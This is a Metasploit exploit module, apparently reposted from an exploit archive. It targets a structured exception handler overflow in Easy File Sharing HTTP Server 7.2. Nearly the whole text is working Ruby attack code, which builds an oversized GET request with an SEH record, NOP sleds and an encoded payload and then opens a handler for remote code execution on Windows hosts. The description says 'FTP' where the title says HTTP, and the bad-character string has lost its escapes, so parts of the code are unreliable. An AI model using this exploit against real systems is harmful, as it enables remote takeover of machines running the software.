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Easy File Sharing HTTP Server 7.2 SEH Overflow

Posted on 04 April 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
'Description' => %q{
This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
},
'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '39008' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 390,
'BadChars' => "x00x7ex2bx26x3dx25x3ax22x0ax0dx20x2fx5cx2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
],
'DefaultOptions' => {
'RPORT' => 80
},
'DisclosureDate' => 'Dec 2 2015',
'DefaultTarget' => 0))
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def exploit
connect
print_status("Sending exploit...")
sploit = "GET "
sploit << rand_text_alpha_upper(4061)
sploit << generate_seh_record(target.ret)
sploit << make_nops(19)
sploit << payload.encoded
sploit << make_nops(7)
sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
sploit << " HTTP/1.0

"
sock.put(sploit)
print_good("Exploit Sent")
handler
disconnect
end
end

 

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